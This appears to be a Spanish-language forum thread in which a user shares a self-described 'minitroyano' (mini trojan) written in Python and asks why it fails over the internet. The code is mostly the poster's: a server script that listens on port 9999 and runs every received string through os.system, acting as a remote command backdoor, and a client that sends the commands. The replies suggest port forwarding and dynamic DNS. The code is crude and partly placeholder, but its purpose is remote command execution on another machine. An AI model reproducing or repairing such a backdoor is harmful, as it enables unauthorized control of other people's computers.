Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code:
Cliente.py
import socket
Host = 'XXXXXXXXX'
Port = 9999
Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla
TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP
TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection
while 1:
comando = raw_input('>>> ')
TCP_Socket.send(comando)
if comando == 'exit':
break
server
import socket as sc
from os import system as sys
server = sc.socket(sc.AF_INET, sc.SOCK_STREAM)
server.bind(('', 9999))
server.listen(1)
while 1:
socket_cliente, datos_cliente = server.accept()
seguir = True
while seguir:
peticion = socket_cliente.recv(XXXXXXX)
if peticion == 'exit':
socket_cliente.close()
seguir = False
else:
socket_cliente.send(sys('%s' % peticion))
break
El code parece que esta bien.. QUizas el problema sea que la maquina remota posee el puerto " 9999 " cerrado..
Que va... Lo estoy probando con un amigo y tiene el puerto abierto...
Tienes la IP publica redirecionada a la interna? A mi estas cosas solo me funcionan bien si lo hago un no-ip y modificando la tabla de Hosts!
Saludos